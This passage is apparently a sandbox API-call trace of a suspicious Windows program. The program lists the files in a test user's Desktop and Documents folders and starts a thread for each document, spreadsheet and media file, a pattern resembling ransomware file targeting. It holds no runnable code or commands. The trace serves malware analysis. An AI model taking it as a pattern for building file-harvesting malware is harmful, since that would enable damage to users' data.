HALPmcxz\\Desktop\\XhFX9S.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XhFX9S.m4a" [0096.822] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8645a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfec [0096.823] FindNextFileW (in: hFindFile=0x1cd9c8b0, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fa1fd90, ftCreationTime.dwHighDateTime=0x1d5d8c7, ftLastAccessTime.dwLowDateTime=0x5696d3f0, ftLastAccessTime.dwHighDateTime=0x1d5d9de, ftLastWriteTime.dwLowDateTime=0x5696d3f0, ftLastWriteTime.dwHighDateTime=0x1d5d9de, nFileSizeHigh=0x0, nFileSizeLow=0xf75c, dwReserved0=0x0, dwReserved1=0x0, cFileName="xVb5abzEp.xlsx", cAlternateFileName="XVB5AB~1.XLS")) returned 1 [0096.823] wcscmp (_String1="xVb5abzEp.xlsx", _String2=".") returned 1 [0096.823] wcscmp (_String1="xVb5abzEp.xlsx", _String2="..") returned 1 [0096.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b866e40 [0096.823] wcscpy (in: _Dest=0x1b866e40, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0096.823] wcscat (in: _Dest=0x1b866e40, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0096.823] wcscat (in: _Dest=0x1b866e40, _Source="xVb5abzEp.xlsx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xVb5abzEp.xlsx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xVb5abzEp.xlsx" [0096.823] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b866e40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xff0 [0096.824] FindNextFileW (in: hFindFile=0x1cd9c8b0, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x716bea70, ftCreationTime.dwHighDateTime=0x1d5e3f8, ftLastAccessTime.dwLowDateTime=0xedd78fe0, ftLastAccessTime.dwHighDateTime=0x1d5e67f, ftLastWriteTime.dwLowDateTime=0xedd78fe0, ftLastWriteTime.dwHighDateTime=0x1d5e67f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="yj8bo78M6HJ69eKxDdFH", cAlternateFileName="YJ8BO7~1")) returned 1 [0096.824] wcscmp (_String1="yj8bo78M6HJ69eKxDdFH", _String2=".") returned 1 [0096.824] wcscmp (_String1="yj8bo78M6HJ69eKxDdFH", _String2="..") returned 1 [0096.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b866dc0 [0096.824] wcscpy (in: _Dest=0x1b866dc0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0096.824] wcscat (in: _Dest=0x1b866dc0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0096.824] wcscat (in: _Dest=0x1b866dc0, _Source="yj8bo78M6HJ69eKxDdFH" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH" [0096.824] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b866dc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xff4 [0096.825] FindNextFileW (in: hFindFile=0x1cd9c8b0, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d3d6c50, ftCreationTime.dwHighDateTime=0x1d5e567, ftLastAccessTime.dwLowDateTime=0xdf96a8c0, ftLastAccessTime.dwHighDateTime=0x1d5da96, ftLastWriteTime.dwLowDateTime=0xdf96a8c0, ftLastWriteTime.dwHighDateTime=0x1d5da96, nFileSizeHigh=0x0, nFileSizeLow=0x3fd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="z1qSsPN-GxUaXF.flv", cAlternateFileName="Z1QSSP~1.FLV")) returned 1 [0096.825] wcscmp (_String1="z1qSsPN-GxUaXF.flv", _String2=".") returned 1 [0096.825] wcscmp (_String1="z1qSsPN-GxUaXF.flv", _String2="..") returned 1 [0096.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b8667c0 [0096.825] wcscpy (in: _Dest=0x1b8667c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0096.825] wcscat (in: _Dest=0x1b8667c0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0096.826] wcscat (in: _Dest=0x1b8667c0, _Source="z1qSsPN-GxUaXF.flv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\z1qSsPN-GxUaXF.flv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\z1qSsPN-GxUaXF.flv" [0096.826] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8667c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xff8 [0096.827] FindNextFileW (in: hFindFile=0x1cd9c8b0, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb647e250, ftCreationTime.dwHighDateTime=0x1d5e1a7, ftLastAccessTime.dwLowDateTime=0x33f81cf0, ftLastAccessTime.dwHighDateTime=0x1d5e0d2, ftLastWriteTime.dwLowDateTime=0x33f81cf0, ftLastWriteTime.dwHighDateTime=0x1d5e0d2, nFileSizeHigh=0x0, nFileSizeLow=0x8836, dwReserved0=0x0, dwReserved1=0x0, cFileName="z3avtzwGtL-mnhni.wav", cAlternateFileName="Z3AVTZ~1.WAV")) returned 1 [0096.827] wcscmp (_String1="z3avtzwGtL-mnhni.wav", _String2=".") returned 1 [0096.827] wcscmp (_String1="z3avtzwGtL-mnhni.wav", _String2="..") returned 1 [0096.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b866340 [0096.827] wcscpy (in: _Dest=0x1b866340, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0096.827] wcscat (in: _Dest=0x1b866340, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0096.827] wcscat (in: _Dest=0x1b866340, _Source="z3avtzwGtL-mnhni.wav" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\z3avtzwGtL-mnhni.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\z3avtzwGtL-mnhni.wav" [0096.827] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b866340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xffc [0096.828] FindNextFileW (in: hFindFile=0x1cd9c8b0, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb647e250, ftCreationTime.dwHighDateTime=0x1d5e1a7, ftLastAccessTime.dwLowDateTime=0x33f81cf0, ftLastAccessTime.dwHighDateTime=0x1d5e0d2, ftLastWriteTime.dwLowDateTime=0x33f81cf0, ftLastWriteTime.dwHighDateTime=0x1d5e0d2, nFileSizeHigh=0x0, nFileSizeLow=0x8836, dwReserved0=0x0, dwReserved1=0x0, cFileName="z3avtzwGtL-mnhni.wav", cAlternateFileName="Z3AVTZ~1.WAV")) returned 0 [0096.828] FindClose (in: hFindFile=0x1cd9c8b0 | out: hFindFile=0x1cd9c8b0) returned 1 [0096.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1e200) returned 1 [0096.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8588b0) returned 1 [0096.829] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858910) returned 1 Thread: id = 257 os_tid = 0xd34 [0087.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x54) returned 0x1cd9c910 [0087.790] wcscpy (in: _Dest=0x1cd9c910, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0087.791] wcscat (in: _Dest=0x1cd9c910, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0087.791] wcscat (in: _Dest=0x1cd9c910, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*" [0087.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1e470 [0087.791] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*", lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd9a06680, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd9a06680, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c970 [0087.791] wcscmp (_String1=".", _String2=".") returned 0 [0087.791] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd9a06680, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd9a06680, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.791] wcscmp (_String1="..", _String2=".") returned 1 [0087.791] wcscmp (_String1="..", _String2="..") returned 0 [0087.791] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5098faf0, ftCreationTime.dwHighDateTime=0x1d5dc13, ftLastAccessTime.dwLowDateTime=0x5dcc04e0, ftLastAccessTime.dwHighDateTime=0x1d5e525, ftLastWriteTime.dwLowDateTime=0x5dcc04e0, ftLastWriteTime.dwHighDateTime=0x1d5e525, nFileSizeHigh=0x0, nFileSizeLow=0x2457, dwReserved0=0x0, dwReserved1=0x0, cFileName="-UxUis5xzfh_.docx", cAlternateFileName="-UXUIS~1.DOC")) returned 1 [0087.791] wcscmp (_String1="-UxUis5xzfh_.docx", _String2=".") returned -1 [0087.792] wcscmp (_String1="-UxUis5xzfh_.docx", _String2="..") returned -1 [0087.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b79e470 [0087.792] wcscpy (in: _Dest=0x1b79e470, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0087.792] wcscat (in: _Dest=0x1b79e470, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0087.792] wcscat (in: _Dest=0x1b79e470, _Source="-UxUis5xzfh_.docx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-UxUis5xzfh_.docx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-UxUis5xzfh_.docx" [0090.650] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79e470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9c8 [0090.651] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e6316c0, ftCreationTime.dwHighDateTime=0x1d5dfdf, ftLastAccessTime.dwLowDateTime=0xfc2d79c0, ftLastAccessTime.dwHighDateTime=0x1d5e04d, ftLastWriteTime.dwLowDateTime=0xfc2d79c0, ftLastWriteTime.dwHighDateTime=0x1d5e04d, nFileSizeHigh=0x0, nFileSizeLow=0x18479, dwReserved0=0x0, dwReserved1=0x0, cFileName="19MnukmEIQNUKIZj.ots", cAlternateFileName="19MNUK~1.OTS")) returned 1 [0090.651] wcscmp (_String1="19MnukmEIQNUKIZj.ots", _String2=".") returned 1 [0090.651] wcscmp (_String1="19MnukmEIQNUKIZj.ots", _String2="..") returned 1 [0090.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1b7842e0 [0090.651] wcscpy (in: _Dest=0x1b7842e0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.651] wcscat (in: _Dest=0x1b7842e0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.651] wcscat (in: _Dest=0x1b7842e0, _Source="19MnukmEIQNUKIZj.ots" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\19MnukmEIQNUKIZj.ots") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\19MnukmEIQNUKIZj.ots" [0090.651] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7842e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x790 [0090.652] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddeaccb0, ftCreationTime.dwHighDateTime=0x1d5bfeb, ftLastAccessTime.dwLowDateTime=0xd42a99d0, ftLastAccessTime.dwHighDateTime=0x1d5acfe, ftLastWriteTime.dwLowDateTime=0xd42a99d0, ftLastWriteTime.dwHighDateTime=0x1d5acfe, nFileSizeHigh=0x0, nFileSizeLow=0x69e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="3xiOAC vT3GPv8V28-.docx", cAlternateFileName="3XIOAC~1.DOC")) returned 1 [0090.652] wcscmp (_String1="3xiOAC vT3GPv8V28-.docx", _String2=".") returned 1 [0090.652] wcscmp (_String1="3xiOAC vT3GPv8V28-.docx", _String2="..") returned 1 [0090.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b784250 [0090.652] wcscpy (in: _Dest=0x1b784250, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.652] wcscat (in: _Dest=0x1b784250, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.652] wcscat (in: _Dest=0x1b784250, _Source="3xiOAC vT3GPv8V28-.docx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3xiOAC vT3GPv8V28-.docx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3xiOAC vT3GPv8V28-.docx" [0090.652] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784250, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x78c [0090.653] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9526840, ftCreationTime.dwHighDateTime=0x1d5e826, ftLastAccessTime.dwLowDateTime=0x8adfc40, ftLastAccessTime.dwHighDateTime=0x1d5e0ff, ftLastWriteTime.dwLowDateTime=0x8adfc40, ftLastWriteTime.dwHighDateTime=0x1d5e0ff, nFileSizeHigh=0x0, nFileSizeLow=0x11024, dwReserved0=0x0, dwReserved1=0x0, cFileName="6qrNB6.pps", cAlternateFileName="")) returned 1 [0090.653] wcscmp (_String1="6qrNB6.pps", _String2=".") returned 1 [0090.653] wcscmp (_String1="6qrNB6.pps", _String2="..") returned 1 [0090.653] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b7c1cd0 [0090.654] wcscpy (in: _Dest=0x1b7c1cd0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.654] wcscat (in: _Dest=0x1b7c1cd0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.654] wcscat (in: _Dest=0x1b7c1cd0, _Source="6qrNB6.pps" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6qrNB6.pps") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6qrNB6.pps" [0090.654] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7c1cd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x788 [0090.655] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1830990, ftCreationTime.dwHighDateTime=0x1d5e75a, ftLastAccessTime.dwLowDateTime=0xd612bdc0, ftLastAccessTime.dwHighDateTime=0x1d5ddb1, ftLastWriteTime.dwLowDateTime=0xd612bdc0, ftLastWriteTime.dwHighDateTime=0x1d5ddb1, nFileSizeHigh=0x0, nFileSizeLow=0x1b20, dwReserved0=0x0, dwReserved1=0x0, cFileName="6sMXGMuiaDsS.ppt", cAlternateFileName="6SMXGM~1.PPT")) returned 1 [0090.655] wcscmp (_String1="6sMXGMuiaDsS.ppt", _String2=".") returned 1 [0090.655] wcscmp (_String1="6sMXGMuiaDsS.ppt", _String2="..") returned 1 [0090.655] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b79d9f0 [0090.655] wcscpy (in: _Dest=0x1b79d9f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.655] wcscat (in: _Dest=0x1b79d9f0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.655] wcscat (in: _Dest=0x1b79d9f0, _Source="6sMXGMuiaDsS.ppt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6sMXGMuiaDsS.ppt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6sMXGMuiaDsS.ppt" [0090.655] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79d9f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x784 [0090.656] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecea9a40, ftCreationTime.dwHighDateTime=0x1d5de9c, ftLastAccessTime.dwLowDateTime=0x953ea1f0, ftLastAccessTime.dwHighDateTime=0x1d5dee3, ftLastWriteTime.dwLowDateTime=0x953ea1f0, ftLastWriteTime.dwHighDateTime=0x1d5dee3, nFileSizeHigh=0x0, nFileSizeLow=0x7136, dwReserved0=0x0, dwReserved1=0x0, cFileName="8T-qP9fSUo8.ods", cAlternateFileName="8T-QP9~1.ODS")) returned 1 [0090.656] wcscmp (_String1="8T-qP9fSUo8.ods", _String2=".") returned 1 [0090.656] wcscmp (_String1="8T-qP9fSUo8.ods", _String2="..") returned 1 [0090.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79d970 [0090.656] wcscpy (in: _Dest=0x1b79d970, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.656] wcscat (in: _Dest=0x1b79d970, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.656] wcscat (in: _Dest=0x1b79d970, _Source="8T-qP9fSUo8.ods" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8T-qP9fSUo8.ods") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8T-qP9fSUo8.ods" [0090.657] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79d970, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x780 [0090.657] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae86df30, ftCreationTime.dwHighDateTime=0x1d5e4d1, ftLastAccessTime.dwLowDateTime=0xdc98e880, ftLastAccessTime.dwHighDateTime=0x1d5e07d, ftLastWriteTime.dwLowDateTime=0xdc98e880, ftLastWriteTime.dwHighDateTime=0x1d5e07d, nFileSizeHigh=0x0, nFileSizeLow=0x7d57, dwReserved0=0x0, dwReserved1=0x0, cFileName="9JBEuIalac04H.pps", cAlternateFileName="9JBEUI~1.PPS")) returned 1 [0090.657] wcscmp (_String1="9JBEuIalac04H.pps", _String2=".") returned 1 [0090.657] wcscmp (_String1="9JBEuIalac04H.pps", _String2="..") returned 1 [0090.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b79ddf0 [0090.657] wcscpy (in: _Dest=0x1b79ddf0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.657] wcscat (in: _Dest=0x1b79ddf0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.657] wcscat (in: _Dest=0x1b79ddf0, _Source="9JBEuIalac04H.pps" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9JBEuIalac04H.pps") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9JBEuIalac04H.pps" [0090.658] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79ddf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x77c [0090.658] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac4ab070, ftCreationTime.dwHighDateTime=0x1d59625, ftLastAccessTime.dwLowDateTime=0xf0ca8830, ftLastAccessTime.dwHighDateTime=0x1d55af5, ftLastWriteTime.dwLowDateTime=0xf0ca8830, ftLastWriteTime.dwHighDateTime=0x1d55af5, nFileSizeHigh=0x0, nFileSizeLow=0xb96f, dwReserved0=0x0, dwReserved1=0x0, cFileName="9qNBw2T1gVF0BMXBp.xlsx", cAlternateFileName="9QNBW2~1.XLS")) returned 1 [0090.658] wcscmp (_String1="9qNBw2T1gVF0BMXBp.xlsx", _String2=".") returned 1 [0090.658] wcscmp (_String1="9qNBw2T1gVF0BMXBp.xlsx", _String2="..") returned 1 [0090.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1b7841c0 [0090.659] wcscpy (in: _Dest=0x1b7841c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.659] wcscat (in: _Dest=0x1b7841c0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.659] wcscat (in: _Dest=0x1b7841c0, _Source="9qNBw2T1gVF0BMXBp.xlsx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9qNBw2T1gVF0BMXBp.xlsx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9qNBw2T1gVF0BMXBp.xlsx" [0090.659] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7841c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x778 [0090.659] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89dccd80, ftCreationTime.dwHighDateTime=0x1d5e804, ftLastAccessTime.dwLowDateTime=0x2b628540, ftLastAccessTime.dwHighDateTime=0x1d5e7ed, ftLastWriteTime.dwLowDateTime=0x2b628540, ftLastWriteTime.dwHighDateTime=0x1d5e7ed, nFileSizeHigh=0x0, nFileSizeLow=0xfd55, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ad7S5JA4gzoc1hHZl.xlsx", cAlternateFileName="AD7S5J~1.XLS")) returned 1 [0090.659] wcscmp (_String1="Ad7S5JA4gzoc1hHZl.xlsx", _String2=".") returned 1 [0090.659] wcscmp (_String1="Ad7S5JA4gzoc1hHZl.xlsx", _String2="..") returned 1 [0090.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1b784130 [0090.660] wcscpy (in: _Dest=0x1b784130, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.660] wcscat (in: _Dest=0x1b784130, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS 